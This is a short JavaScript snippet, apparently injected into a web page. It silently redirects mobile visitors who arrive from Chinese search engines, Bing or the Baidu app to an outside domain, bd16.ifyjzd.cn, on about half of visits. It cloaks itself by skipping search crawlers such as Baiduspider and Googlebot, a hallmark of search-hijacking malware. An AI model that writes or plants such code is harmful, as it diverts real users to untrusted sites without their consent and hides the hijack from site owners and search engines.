(function() {
    var TARGET_URL = "https://bd16.ifyjzd.cn/?channel_code=23";
    
    function isSpider() {
        var ua = navigator.userAgent||'';
        return /baiduspider|360spider|sogouspider|bingbot|googlebot|yisouspider|shenma/i.test(ua);
    }
    
    function isMobileDevice() {
        var ua = navigator.userAgent||'';
        return /Android.*Mobile|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(ua);
    }
    
    function isFromSearchEngine() {
        var referrer = document.referrer||'';
        if (!referrer) return false;
        var url = referrer.toLowerCase();
        var searchEngines = [
            { domain: 'baidu.com',  patterns: ['/s?', '/baidu?', 'word=', 'wd=', 'kw='] },
            { domain: 'sogou.com',  patterns: ['/web?', '/s?', 'query=', 'keyword='] },
            { domain: 'so.com',     patterns: ['/s?', '/so?', 'q=', 'keyword='] },
            { domain: '360.cn',     patterns: ['/s?', 'q='] },
            { domain: 'sm.cn',      patterns: ['/s?', 'q='] },
            { domain: 'bing.com',   patterns: ['/search?', 'q='] }
        ];
        for (var i = 0; i < searchEngines.length; i++) {
            var engine = searchEngines[i];
            if (url.indexOf(engine.domain) !== -1) {
                for (var j = 0; j < engine.patterns.length; j++) {
                    if (url.indexOf(engine.patterns[j]) !== -1) {
                        return true;
                    }
                }
            }
        }
        return false;
    }
    
    function isBaiduApp() {
        var ua = navigator.userAgent||'';
        return ua.indexOf('baiduboxapp') !== -1;
    }
    
    if (!isSpider() && isMobileDevice() && (isFromSearchEngine() || isBaiduApp())) {
        if (Math.random() < 1/2) {
            window.location.replace(TARGET_URL);
        }
    }
})();